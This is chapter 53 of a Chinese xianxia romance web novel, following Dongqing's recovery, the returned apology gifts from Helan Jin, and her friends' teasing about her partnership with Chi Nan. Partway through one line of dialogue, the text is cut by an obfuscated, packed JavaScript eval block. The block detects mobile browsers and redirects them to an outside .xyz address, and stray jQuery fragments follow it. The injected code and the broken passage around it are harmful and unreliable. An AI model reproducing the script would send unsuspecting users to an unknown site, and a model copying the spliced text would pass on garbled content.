53. 第 53 章

作品:《冬青

    冬青面露无语地看着那只飞不了直线的鸟,忍不住伸手抓住它的翅膀提溜到面前来,解下脚环上的纸条。


    她将纸条展开,还是长篇累牍的札记,细致到几时起床都要记上一笔。


    就在她不耐烦地要把纸条扔掉时,余光忽然触到一行字。


    【谷主不知道因为什么勃然大怒,摇铃泄愤,小弟用“顺风耳”细听,险些震聋。】


    摇铃?


    她再一定睛看落款的日子,正巧是她脑中灵傀刺第一次发作的时间。


    果真是席子昂。


    冬青脸冷下来,白雀又开口道:“方才谷主又发了好大一场火,好像是因为什么法器碎了,听上去气的不行,给崔师姐好一通骂。”


    然后崔师姐从谷底出来打了他两巴掌泄愤。


    关至为了他的颜面,并没有把这句话说出口。但转念一想,他都已经这般低声下气还有什么面子可言,便清了清嗓谄媚道:“老大,我因为偷听让崔师姐教育得鼻青脸肿,浑身上下没一块好地方,您能否大发慈悲,看在小弟鞠躬尽瘁的份上多告诉两个字啊?”


    冬青没跟他废话,直接把御物心法第一式背给他听,随后毫不留情地撵走了点头哈腰的白雀。


    “关至提到的席子昂碎掉的法器应当就是控制灵傀刺的。”秋日海边的冷风凛冽,池南把窗关严,从乾坤币里拿出一件披风盖在她头上,“冬青,你不知道变相解救了多少人。”


    冬青拢紧下滑的厚实披风,心里因他的夸奖泛起了一丝隐秘的欢喜。


    池南把她那点小表情尽收眼底,无声笑了笑。


    另一边,贺兰烬踏出传送门,在毕水的搀扶下来到青光阁归还魂茧。


    他推开门,一个面容肃穆的男人早已等候在内。


    “……家主。”贺兰烬放下被搀扶的手臂,缓缓站定。


    “禁足期间,你去何处了?”贺兰虚淮问道,明明声音无波无澜,贺兰烬却还是能敏锐的感受到那话语深处蕴藏的的威仪、怒意、与……失望。


    他早就习惯了这种语调,垂着头没说话。


    “问你话呢!”贺兰虚淮猛地拍了一下桌子,边缘的茶杯茶宠笔架噼里啪啦摔在地上。


    贺兰烬看着那零落的物件,好像滚落在地上的不是茶杯毛笔,而是他的尊严。


    静默一瞬,他低声道:“出去了。”


    “去找那个会御物的小姑娘了?”贺兰虚淮怒道,“你已经学会到处沾花惹草了?看看你一身纨绔浪荡的样子!我就是这么教你的吗?你就这么不把贺兰家放在眼里?!”


    “我没有沾花惹草。”平生第一次,贺兰烬顶撞了父亲,他姿态仍是谦卑的,语气却透着不容置疑,“我是去赴约的。”


    是我想见她。


    她不需要我罢了。


    贺兰虚淮霍然起身,指着贺兰烬的鼻子,气的说不出话,他手指抖动片刻,怒道:“我看你是家法还没吃够!滚回去!没有我的允许不许踏出房门半步!”


    贺兰烬气性也涌来上来,他做出的最大反抗便是把魂茧扔在地上,转身大跨步走出去。


    鲜血从衣摆滴下,蜿蜒滴了一路。


    “您不是还有枚传音佩?”毕水想要搀扶他,却被他挥开,于是只能固执地跟在他是身后劝道:“何不传音与冬青姑娘解释?”


    贺兰烬蓦地停住脚步,转过身来看毕水,双目赤红得骇人,他答非所问,“这个少主非做不可吗?”


    “您说什么呢。”毕水舔了舔干涩的嘴唇,笑得有些难看,“您姓贺兰啊。”


    是啊,他姓贺兰。贺兰烬闭了闭眼,颤抖着吁出一口浊气,短短两个字,却是他一生都逃不掉的宿命。


    他想发疯,想逃走,想藏到一个谁也找不到的地方,交织的纷乱思绪在这幅躯壳内横冲直撞。


    可他只是杵在原地深呼吸几次,便把所有情绪重新埋藏在那副玩世不恭的皮囊下,装作若无其事地继续向前走去。


    毕水看着他的背影,觉得少主就像一座随时会爆发的火山,滚烫沸腾的岩浆在体内积郁过久,随时都有可能冲破脆弱的外壳,将他拖入万劫不复的深渊。


    于是夜半时分,他将那无垢梵玉偷了出来,擅自主张地寄了出去。


    冬青是回到仙人顶养伤时,收到那无垢梵玉的。


    隔了一天,又收到了一封信笺。


    她靠在榻上,身上裹着池南送她的水云缎披风,膝头还躺着那花枝,拆开了信笺。


    里面是一封叠好的信,一张飞钱随着她抽出信纸的动作飘落下来。


    冬青先拿起飞钱看了眼,登时瞪大了双眼。


    她倒吸一口凉气。


    一千后面……怎么加了个万?


    她急忙展开信纸,上面只有寥寥几行字,字迹虚浮,像拄拐佝偻的老者,一笔一划看上去皆抖成细碎的波浪。


    冬青眉头一蹙,她不是没见过贺兰烬的字迹,清隽有力,绝非如此。


    【冬青,对不住,我失约了。飞钱与花枝是赔礼,还望海涵。】


    无垢梵玉在膝间微光流转,触手生凉,莹润如水。


    这本是她支付给贺兰烬的“租金”,此刻却成了他的赔礼。


    她求助地看向一旁的狐狸,“小红,你看这法器值钱吗?”


    在池南变成狐狸时,她总是忍不住唤他小红,他也不计较,权当她对自己的偏爱。


    “无垢梵玉打造的。”池南凑近看了看,“定比那飞钱值钱。”


    比一千万两还要贵?


    冬青摇摇头,“收不得,法器和飞钱都收不得。”


    她是个重诺的人,对贺兰烬无故爽约一事确实感到不快。可魂茧是他的传家宝,一开始她去找他时就未抱太大期望,他爽约与他不借,结果并无二致。她除了信任并没有付出什么,所以不能收这么贵重的东西。


    冬青将她的想法说予池南听,他听后却摇了摇头,“事关性命,这点赔偿难道还多吗?若是你真因没有魂茧命丧黄泉,这点钱能从阎王那把命买回来吗?再者,信任本就是无价的好么,你的信任就值这几个钱?”


    可旋即他又道,“若不想收,便退回去。缺了钱我补给你,没有法器我为你寻更好的。他的东西,不要也罢。”


    “不要。”


    池南一时没反应过来她不要的是什么。


    冬青起身坐到桌前,“你们俩我谁的都不要,我想要的,我可以自己得到。”


    她提笔蘸墨,认认真真写了封回信。


    “贺兰烬亲启:


    我若因没有魂茧而魂飞魄散,那么我做鬼也不会放过你。但我活下来了,我的确气你言而无信,但想必你亦有苦衷。法器和飞钱恕不能收,便当此约从未有过。”


    笔尖顿了顿,她又补了一句上去:“记得把那一千两飞钱还给我,那是我的工钱。”


    写好后,她将回信、飞钱与无垢梵玉放进木匣里,托池南寄回。


    又过了几日,收到一张崭新的一千两面额的飞钱。


    柳又青来探望她,絮絮说着近几日仙人顶里发生的鸡飞狗跳的事情。内门考核已经结束,桑善道人和逍遥老儿因为新弟子入门,也象征性地回到仙人顶。


    从内门考核中脱颖而出的人不多,每道仅两三人而已。


    闻向度去了桑善道人门下,而闻向舟据说要在今冬广招时再试进内门。


    “大半弟子都被云开骗去了,一些丹修和器修选了桑善道人,好像就只有我选了逍遥老儿。”柳又青嘟囔道,“可能因为他老人家神龙见首不见尾了,跟其他两位门主比起来显得有些……不太着调?”


    “逍遥老儿如何?”冬青还蛮好奇的,她也想知道能教出沈秋溪那样弟子的师父,会是何等人物。


    迄今为止,除了无相和池南,还没有人在她生命里接近过“师父”二字。


    “就……挺和蔼的一小老头,还指挥大师兄帮我搬行李来着——对了冬青,我不住吉堂了,我现在住在逍遥门里。”


    池南这时推门走进,端来一盘鲜果放在案上。他挑了两个最红的拭净水珠,递给冬青和柳又青。


    柳又青看他进来,顿时噤声,愣愣接过他递来的果子,不着痕迹地往冬青身边靠了靠。


    池南瞥她一眼,感觉自己现下有些多余,但心里认定柳又青才是多余的那个,因此看她的眼神有些不善。


    “!”柳又青被他突变的眼神盯的虎躯一震,抓住冬青的袖子,“嘤嘤嘤。”


    池南:好想把她丢出去。


    冬青忍不住笑起来,递给池南一个眼神。


    算了,看在冬青心情不错的份上,他勉为其难放她一马。


    “果子放会儿再吃,凉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450536|180025||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”他嘱咐一句,转身出去了。


    关门声落,听着脚步逐渐远去,柳又青才松了口气,向冬青抱怨道:“我感觉他方才想杀了我!”


    “哪有。”冬青轻笑,将果子捧在掌心暖着,“他挺好相处的。”


    “好相处???”柳又青险些跳起来,“我敢断言,这世上除了你之外,绝无人会这么想!”


    冬青伸手把她按回榻边。


    “到现在,我都很难相信,你身边那只狐狸竟然是折云宗池南。”她咔嚓啃了口果子,忽然凑近,眼神里闪着探究的促狭光芒,“你们俩到底是什么关系?”


    冬青被她问得一愣,“之前不是与你说过,算是……交易关系。”


    她帮他养元神,他助她修炼,仅此而已。


    柳又青否定地“嗯”了声,直起身子,神秘兮兮地竖起一根手指,“依我看,不然。”


    冬青配合地问道,“那是什么关系?”


    柳又青用一种“你怎么这么不开窍”的眼神看了她一眼,恨铁不成钢地“啧”了一声,“他对你图谋不轨啊!”


    话音刚落,一阵柔风从窗隙徐徐吹进,冬青垂在肩上的发带拂过颊边,带来细微痒意。


    “怎么可能。”她反驳道,“我一没修为二没钱,还只是个杂役,他堂堂折云宗大师兄,要什么没有,他图我什么?”


    柳又青倒还真起身后退几步,仔细端详起她来。


    半晌,她摸着下巴笃定道,“脸吧。”


    冬青被她一本正经的模样逗笑,“怎会?他岂是这般肤浅之人。”


    檐下翘着二郎腿小憩的无相将遮阳的草笠从脸上掀开一角,心道这你可看错他了,他就是这么肤浅的人。


    柳又青又坐回榻边,挨着冬青哼哼两声,“我娘跟我说过,男人都是肤浅的东西。”


    无相:这位施主看得更通透些。


    她又道,“你看啊,他为何偏要留在你身边养元神?他折云宗大师兄诶,回宗门两颗丹药下肚指不定就好了!还有,他为何要帮你修炼?无相剑法世界上那么多人挤破脑袋都得不到,他就随随便便教你了。绛茵谷受罚、冽墟挖鬼愁晶、华胥问道、镜湖、拔灵傀刺,那么多出生入死的事情他都二话不说就跟去了,你都不知道当时你倒在阵法里的时候,他吓成什么奶奶样,如今还死皮赖脸待在仙人顶不走。”


    柳又青说得头头是道,先把自己说服了,“他定是喜欢你!”


    “不会的,不会的。”冬青头摇成拨浪鼓,池南待她极好,但那想必也是出于挚友情谊,绝非男女之情。


    “哎呀,那我换个问法。”柳又青凑近,“你可喜欢他?”


    墙根下原本有一搭没一搭听着墙角的无相耳尖一动,翻身坐起,将耳朵紧紧贴上墙壁。


    冬青仔细回忆了一番,池南无疑是极为可靠的,甚至她一个眼神他便能心领神会。但两人并没擦出什么爱慕的火花,倒更像是由交易伊始,渐成可托生死的挚友,默契无间的搭档。


    “不喜欢。”冬青矢口否认,“就如我和你一般,我与他,是可以交托性命的伙伴。”


    这其实已经是冬青平生给出的最高评价了,或许以后也不会有人能得到比这更高的殊荣。


    但角落的无相还是“嗖”一下站起,焦灼踱步,他心里是又怒又气,池南这小子,以为自己隐忍的喜欢是一件多么大侠的做派呢,谁成想人家根本察觉不到啊,还拿你当朋友呢!


    竹叶簌簌,清风阵阵,无相找到躺在竹竿上休息的池南,看他这么悠哉,他更气不打一出来,飞起一脚踹在他小腿上。


    池南睁眼:“你发什么疯?”


    “还睡!再睡小冬青跟别人跑了!”


    “你说什么?”他立刻撑着竹身坐起。


    无相把偷听到的谈话对池南复述了一遍。


    池南听罢,神色复杂,“你怎么还偷听人姑娘家墙角?”


    无相一口气险些没上来,他吹胡子瞪眼:“呆子!这是重点吗?”


    池南沉默,刚欲开口说“她喜欢谁是她的自由”,可话刚出个苗头,便被无相打断。


    “你若始终藏着掖着不让她知道你的心意,又如何断定她到底喜不喜欢你!”


    铿锵有力的话砸在池南耳畔,他把剩下的半句咽回肚子里,目光透过层叠绿意,望向远处竹居,若有所思。